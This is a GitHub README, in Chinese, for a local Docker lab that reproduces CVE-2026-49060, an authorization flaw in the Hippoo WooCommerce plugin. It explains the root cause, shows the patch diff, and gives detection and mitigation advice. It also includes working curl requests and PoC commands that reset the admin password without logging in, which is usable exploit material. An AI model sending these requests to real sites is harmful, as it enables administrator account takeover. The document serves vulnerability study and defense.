rootdirective-sec/CVE-2026-49060-Lab
GitHub: rootdirective-sec/CVE-2026-49060-Lab
该仓库提供了一个本地 Docker 实验环境，用于复现和验证 WordPress 插件 Hippoo Mobile App 中 CVE-2026-49060 权限分配不当漏洞。
Stars: 0 | Forks: 0
# CVE-2026-49060 - Hippoo Mobile App for WooCommerce 权限分配不当 / 权限提升
## 执行摘要
本仓库包含一个本地 Docker 实验环境，用于复现和验证 CVE-2026-49060，这是一个影响 WordPress 插件 **Hippoo Mobile App for WooCommerce** 的权限分配不当漏洞。
该漏洞行为通过 Hippoo 克隆的 REST API namespace 暴露：
```
/wc-hippoo/v1/ext/
```
在易受攻击的目标中，未经身份验证的访问者可以访问克隆的 WordPress REST users 路由，并可以通过未经身份验证的 HTTP 请求更新管理员用户的密码。在已修复的目标中，相同的请求会被以 `403 Forbidden` 拦截。
本实验对比了两个 Hippoo 版本：
| 服务 | Hippoo 版本 | 用途 | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.9.4 | 漏洞对比目标 | `http://localhost:8081` |
| `patched` | 1.9.5 | 已修复对比目标 | `http://localhost:8082` |
演示的漏洞链如下：
```
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
```
本实验使用 Hippoo `1.9.4` 和 Hippoo `1.9.5` 验证了漏洞版本与修复版本的授权行为差异。
本实验特意将范围限定在本地 Docker 服务。它不会针对外部系统，也不包含持久化、web shell、恶意软件或外部回调。
## 已验证事实
| 声明 | 证据 | 如何在本实验中验证 |
| -------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- |
| CVE-2026-49060 影响至 `1.9.4` 版本的 Hippoo Mobile App for WooCommerce。 | 公开的安全公告指出 Hippoo `<= 1.9.4` / 至 `1.9.4` 受到影响。 | 查阅参考章节并对比 `vuln` 服务的版本。 |
| Hippoo `1.9.5` 用作已修复的对比目标。 | 公开的安全公告元数据指出 `1.9.5` 是受影响范围的修复版本。 | 运行 `docker compose logs init-vuln init-patched` 并确认初始化的插件版本。 |
| 漏洞行为通过 Hippoo 克隆的 REST namespace 暴露。 | Hippoo 在 `/wc-hippoo/v1/ext/` 下重新注册了外部 REST 路由。 | 运行 `python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082`。 |
| 在本实验中，Hippoo `1.9.4` 允许未经身份验证访问克隆的 users 路由。 | 实验 PoC 从 `http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1` 收到 `200 OK`。 | 对 `8081` 运行只读验证命令。 |
| 在本实验中，Hippoo `1.9.5` 阻止了相同的未经身份验证的请求。 | 实验 PoC 从 `http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1` 收到 `403 Forbidden`。 | 对 `8082` 运行只读验证命令。 |
| 在这个本地实验环境中，漏洞目标可以通过未经身份验证的 POST 请求更新管理员密码。 | 当使用 `--update-password` 时，活动的 PoC 会从漏洞目标收到 `200 OK`。 | 运行 `python3 poc/poc.py --update-password http://127.0.0.1:8081`。 |
| 已修复的目标阻止了未经身份验证的密码更新请求。 | Hippoo `1.9.5` 对相同的克隆 users 路由返回禁止访问的响应。 | 对两个目标运行主动验证。 |
| PoC 仅使用 HTTP。 | `poc/poc.py` 仅发送 HTTP 请求，不调用 Docker、WP-CLI 或容器 API。 | 检查 `poc/poc.py`。 |
## 假设与未知事项
本实验使用 Hippoo `1.9.4` 作为漏洞对比目标，因为公开的安全公告指出至 `1.9.4` 的版本受到影响。
本实验使用 Hippoo `1.9.5` 作为已修复的对比目标，因为公开的安全公告元数据指出 `1.9.5` 是针对所演示受影响范围的修复版本。
公开的 CVE-2026-49060 记录在宏观上将此问题描述为权限分配不当 / 权限提升。本实验重点关注 Hippoo `1.9.4` 中可观察到的授权行为，并将其与 Hippoo `1.9.5` 进行对比。
本 README 中的根本原因总结是基于实验中使用的漏洞版和修复版 Hippoo 之间的源码对比。
本实验不声称测试了每一个 Hippoo 路由。它专注于克隆的 WordPress users REST 路由：
```
/wc-hippoo/v1/ext/wp/v2/users/
```
本实验不演示：
* 持久化、
* web shell 上传、
* 任意命令执行、
* 外部回调、
* 恶意软件行为、
* 针对非实验系统的攻击、
* 或超出本地密码更新验证的后续渗透活动。
## 根本原因总结
根本原因在于 Hippoo 的角色和权限处理中存在权限逻辑缺陷。
Hippoo 在其自己的 namespace 下暴露了克隆的 WordPress 和 WooCommerce REST 路由：
```
/wc-hippoo/v1/ext/
```
路由克隆行为具有安全敏感性，因为克隆的路由必须保留或加强原始路由的授权要求。如果克隆的路由接收到一个宽松的权限 callback，未经身份验证的用户可能能够访问本应需要身份验证和授权的 REST endpoint。
相关的路由克隆行为遵循以下模式：
```
function re_register_external_routes() {
$server = rest_get_server();
$endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
```
预期的安全模型是：
```
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
```
漏洞行为的发生是因为 Hippoo `1.9.4` 对两种不同的状态使用了相同的返回值：
```
administrator / unrestricted access
unauthenticated visitor / no user
```
在 Hippoo `1.9.4` 中，当没有登录的 WordPress 用户时，权限辅助函数返回 `null`：
```
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
```
漏洞版本还将 `null` 视为允许：
```
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
```
这导致了存在漏洞的数据流：
```
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
```
问题不仅仅在于存在 REST 路由。问题在于权限决定可能会错误地将未经身份验证的访问者视为不受限制的用户。
修复后的版本区分了这些状态。
在 Hippoo `1.9.5` 中，未经身份验证的访问者返回 `false` 而不是 `null`：
```
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
```
修复后的授权检查随后明确拒绝了 `false`：
```
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
```
与安全相关的变更是：
```
Before:
unauthenticated visitor → null → allowed
After:
unauthenticated visitor → false → denied
```
这就是本实验展示以下结果的原因：
```
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
```
## 源码补丁总结
该补丁改变了权限返回值的含义。
在漏洞版本中：
```
null means administrator/full access
null also means unauthenticated/no user
```
在修复版本中：
```
null means administrator/full access
false means unauthenticated/no role/no access
```
权限辅助函数中重要的源码级别变更是：
```
public static function get_user_permissions()
{
$user = wp_get_current_user();
- if (empty($user) || !$user->exists()) {
- return null;
+ if (empty($user) || !$user->exists() || !is_user_logged_in()) {
+ return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
- if (!isset($settings[$role])) {
- continue;
+ if (isset($settings[$role])) {
+ return $settings[$role];
}
-
- return $settings[$role];
}
- return null; // Full access
+ return false; // No access
}
```
授权决定也发生了改变：
```
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
```
该补丁没有移除 Hippoo 的路由克隆功能。相反，它修复了权限评估周围的信任边界。
从该补丁中得出的安全经验是：
```
A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
```
安全敏感的权限函数应为不同的状态使用不同的值：
```
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
```
## 实验架构
本实验通过 Docker Compose 运行两个隔离的 WordPress 安装。
```
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
```
这两个 WordPress 服务使用独立的数据库和不同的插件版本：
| 服务 | 组件 | 版本 / 角色 |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | 漏洞目标应用 |
| `patched` | WordPress + WooCommerce + Hippoo | 已修复目标应用 |
| `db-vuln` | MariaDB | 漏洞目标数据库 |
| `db-patched` | MariaDB | 修复目标数据库 |
| `init-vuln` | WordPress 初始化服务 | 初始化漏洞目标 |
| `init-patched` | WordPress 初始化服务 | 初始化修复目标 |
默认暴露的服务：
```
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
```
实验使用了固定的 Hippoo 版本：
| 目标 | Hippoo 版本 | 预期行为 |
| ----------------------- | -------------: | --------------------------------------------- |
| `http://localhost:8081` | 1.9.4 | 允许未经身份验证访问克隆的 users 路由 |
| `http://localhost:8082` | 1.9.5 | 阻止未经身份验证访问克隆的 users 路由 |
实验环境安装了 WooCommerce，因为 Hippoo 集成了 WooCommerce 的 REST 类和路由。
## 环境要求
* Docker Desktop 或 Docker Engine
* Docker Compose v2
* Python 3
* 在 Docker 镜像构建期间需要访问互联网以下载 WordPress 插件包
不需要 Python 第三方包。PoC 仅使用 Python 标准库模块。
## 快速开始
从干净的状态启动实验：
```
docker compose down -v --remove-orphans
docker image rm -f \
cve-2026-49060-vuln:1.9.4 \
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
```
检查服务状态：
```
docker compose ps
```
预期健康的able 服务：
```
cve-2026-49060-vuln
cve-2026-49060-patched
cve-2026-49060-init-vuln
cve-2026-49060-init-patched
cve-2026-49060-db-vuln
cve-2026-49060-db-patched
```
检查 Web 应用程序：
```
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
对两个目标运行只读验证：
```
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
对两个目标运行主动本地验证：
```
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
```
使用显式密码运行主动验证：
```
python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
```
## PoC 用法
将一个或多个本地目标 URL 作为位置参数传递：
```
python3 poc/poc.py [target_url...]
```
示例：
```
python3 poc/poc.py http://127.0.0.1:8081
python3 poc/poc.py http://127.0.0.1:8082
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
默认模式是只读的。它向克隆的 users 路由发送未经身份验证的 `GET` 请求，并报告访问是被允许还是被阻止。
支持的选项：
```
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
```
主动验证示例：
```
python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
```
PoC 仅接受 loopback/本地目标：
```
http://localhost:
http://127.0.0.1:
http://[::1]:
```
它在设计上拒绝非本地目标。
## 预期结果
### 只读验证
命令：
```
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
预期漏洞目标信号：
```
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
```
预期修复目标信号：
```
Target: target-2
Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED
Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 403 Forbidden
```
预期摘要：
```
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
```
### 主动本地验证
命令：
```
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
```
预期漏洞目标信号：
```
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
```
预期修复目标信号：
```
Active local validation: target-2
Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED
Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 403 Forbidden
```
主动验证仅更改本地易受攻击实验目标内的一次性 WordPress 管理员密码。
主动验证之前的默认本地实验凭据：
```
Username: admin
Password: AdminPass123!
```
漏洞目标主动验证成功后的默认密码：
```
Username: admin
Password: Cve49060LabPass123!
```
## 验证如何工作
验证器首先发现 WordPress REST API。
某些 WordPress 环境通过 pretty permalinks 暴露 REST 路由：
```
/wp-json/
```
其他环境则更可靠地通过 query-string 回退方式暴露它们：
```
/?rest_route=/
```
验证器会尝试两种形式，并使用返回 JSON REST 索引的形式。
REST 发现之后，它会查找 Hippoo 克隆的 users 路由：
```
/wc-hippoo/v1/ext/wp/v2/users
```
然后它执行只读的未经身份验证 GET 请求：
```
GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
```
预期漏洞行为：
```
HTTP 200 OK
JSON user object returned
```
预期修复行为：
```
HTTP 403 Forbidden
JSON rest_forbidden error returned
```
当启用 `--update-password` 时，验证器会发送一个未经身份验证的 POST 请求：
```
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
```
预期漏洞行为：
```
HTTP 200 OK
The selected user's password is updated inside the local lab target.
```
预期修复行为：
```
HTTP 403 Forbidden
The update is blocked.
```
重要的区别不在于路由是否存在。两个版本中都存在该路由。安全区别在于是否允许未经身份验证的请求调用它。
## 使用 curl 进行手动 HTTP 复现
只读漏洞探测：
```
curl -i \
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
```
预期结果：
```
HTTP/1.1 200 OK
Content-Type: application/json
```
只读修复探测：
```
curl -i \
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
```
预期结果：
```
HTTP/1.1 403 Forbidden
Content-Type: application/json
```
主动漏洞探测：
```
curl -i -X POST \
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1' \
-H 'Content-Type: application/json' \
--data '{"password":"Cve49060LabPass123!"}'
```
预期结果：
```
HTTP/1.1 200 OK
```
主动修复探测：
```
curl -i -X POST \
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1' \
-H 'Content-Type: application/json' \
--data '{"password":"Cve49060LabPass123!"}'
```
预期结果：
```
HTTP/1.1 403 Forbidden
```
## 影响
漏洞行为允许未经身份验证访问 Hippoo namespace 下的克隆 REST 路由。
安全敏感性最高的演示路由是克隆的 WordPress users 路由：
```
/wc-hippoo/v1/ext/wp/v2/users/
```
在易受攻击的本地目标中，未经身份验证的请求可以更新管理员用户的密码。这在受控实验环境中演示了账户接管的影响。
取决于站点配置和暴露的路由，潜在的现实影响包括：
* 未经授权访问敏感的 REST API 数据、
* 管理员账户接管、
* 权限提升、
* 未经授权修改 WordPress 用户记录、
* 以及在获得管理员访问权限后完全控制站点。
本实验仅演示了授权失败和本地管理员密码更新。它不包括身份验证后的利用、插件编辑、代码执行、持久化或破坏性操作。
## 检测与监控
潜在的指标包括对 Hippoo 克隆的 REST namespace 的未经身份验证请求：
```
/wc-hippoo/v1/ext/
```
高风险路由模式：
```
GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
```
可疑指标：
```
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
```
访问日志模式示例：
```
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
```
建议的监控操作：
* 检查 Web 服务器的访问日志中是否有 `/wc-hippoo/v1/ext`。
* 检查 WordPress 身份验证日志中是否有意外的管理员登录。
* 检查 WordPress 用户记录中是否有最近的密码更改。
* 检查管理员账户的电子邮件地址、角色和创建时间戳。
* 如果怀疑发生了管理员接管，请检查插件/主题文件的修改时间。
* 监控在需要授权的情况下却向未经身份验证的用户返回 `200 OK` 的 REST API 请求。
## 缓解与补丁说明
将 Hippoo Mobile App for WooCommerce 升级到已修复的版本。
对于特定的实验对比，Hippoo `1.9.5` 阻止了在 `1.9.4` 中允许的、演示性质的未经身份验证克隆 users 路由行为。
对于生产环境，请更新到可用的最新版本，而不是停留在实验对比所用的版本上。
建议的缓解步骤：
* 将 Hippoo Mobile App for WooCommerce 更新到可用的最新修复版本。
* 确认安装的版本新于受影响的范围。
* 检查 `/wc-hippoo/v1/ext/` 是否公开暴露。
* 如果怀疑遭到利用，请轮换管理员密码。
* 检查 WordPress 管理员账户是否有未经授权的更改。
* 检查 Web 访问日志中是否有针对克隆 REST 路由的未经身份验证的请求。
* 如果无法立即修补，请暂时禁用该插件。
* 使用 WAF 或虚拟补丁作为临时层，但不能替代升级。
安全工程经验：
```
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
```
## 实用的验证命令
检查容器状态：
```
docker compose ps
```
检查初始化日志：
```
docker compose logs init-vuln init-patched
```
检查 Web 服务：
```
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
运行只读验证：
```
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
```
运行主动验证：
```
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
```
检查活动的插件：
```
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
```
检查 Hippoo 版本：
```
docker compose exec -T vuln sh -lc \
"grep -R \"Version:\" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc \
"grep -R \"Version:\" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
```
检查漏洞目标中的权限逻辑：
```
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
```
检查修复目标中的权限逻辑：
```
docker compose exec -T patched sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
```
保存验证证据：
```
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
```
## 清理
停止并移除容器和网络：
```
docker compose down --remove-orphans
```
移除容器、网络和 volume：
```
docker compose down -v --remove-orphans
```
移除创建的本地证据文件：
```
rm -rf evidence/
```
## 安全边界
本实验仅供本地安全研究和受控演示使用。
请勿对您不拥有或未获得明确授权测试的系统运行 PoC 或手动 curl 请求。
请勿在本实验中使用真实的生产凭据、真实的客户数据或生产机密。
预期的范围仅限于本地 Docker 服务，例如：
```
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
PoC 被特意设计为仅限 HTTP 且为本地范围。它不调用 Docker、Docker Compose、WP-CLI 或容器 API。
主动验证模式仅更改一次性本地实验目标内所选 WordPress 用户的密码。
本实验不包含用于以下目的的 payload：
* web shell 上传、
* 任意命令执行、
* 持久化、
* 横向移动、
* 凭据窃取、
* 数据库导出、
* 或外部回调。
目标是在受控环境中演示一种特定的技术条件：
```
unauthenticated request
+ Hippoo cloned REST route
+ vulnerable permission sentinel logic
+ unauthenticated access allowed in 1.9.4
+ unauthenticated access blocked in 1.9.5
```
## 参考
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: WordPress Hippoo Mobile App for WooCommerce Plugin <= 1.9.4 Privilege Escalation
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* GitHub Advisory: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* WordPress.org Plugin: Hippoo Mobile App for WooCommerce
https://wordpress.org/plugins/hippoo/
* WordPress.org Plugin SVN
https://plugins.svn.wordpress.org/hippoo/
* WordPress.org Plugin SVN Tags
https://plugins.svn.wordpress.org/hippoo/tags/
* WordPress REST API Handbook: Routes and Endpoints
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* OWASP Web Security Testing Guide: Testing for Authorization Bypass
https://owasp.org/www-project-web-security-testing-guide/
标签：CISA项目, CVE复现, Docker, WooCommerce, WordPress, 协议分析, 安全, 安全防御评估, 文件完整性监控, 权限提升, 漏洞环境, 版权保护, 请求拦截, 超时处理, 逆向工具